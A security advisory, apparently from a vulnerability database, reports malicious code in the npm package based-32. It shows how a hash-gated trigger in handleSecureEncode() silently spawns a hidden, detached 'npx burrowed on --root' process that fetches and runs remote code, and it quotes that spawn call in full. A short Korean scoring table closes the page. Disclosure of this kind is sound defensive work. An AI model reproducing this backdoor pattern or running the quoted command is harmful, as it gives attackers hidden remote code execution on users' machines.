Malicious code in based-32 (npm)
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based-32 advertises itself as a zero-dependency RFC4648 Base32 encoding library, but dist/index.js ships a hidden trigger inside the exported handleSecureEncode() function (also reachable via the based32 -s <data> CLI). The function passes the caller's input through checkSecurityProtocol(), which SHA-256-hashes the input and compares it against the hardcoded constant SECURITY_HASH = "71c37c896ba7d9164cc91cb4507df9d3f42bd2ce728a93673b3dabfda45c7ed2". On match, it executes spawn('npx', ['burrowed','on','--root'], { detached: true, stdio: 'ignore', windowsHide: true, shell: true }) and calls unref() on the child, fetching and running the remote burrowed npm package as a detached, stdio-suppressed, window-hidden daemon. The surrounding try/catch swallows all errors so failures are silent. The naming (SECURITY_HASH, checkSecurityProtocol, handleSecureEncode) is a cover story — none of this behavior is documented in the README, and there is no Base32-related reason for the package to spawn npx, fetch a remote package, or run a daemon. Any environment where an attacker can deliver the magic input string into handleSecureEncode (or invoke based32 -s) gains arbitrary remote-code execution as a hidden background process under the installer's user.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도(기본값(정보 없음)) | 55.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 55.00 |
VPI 공식 vpi-v1 기준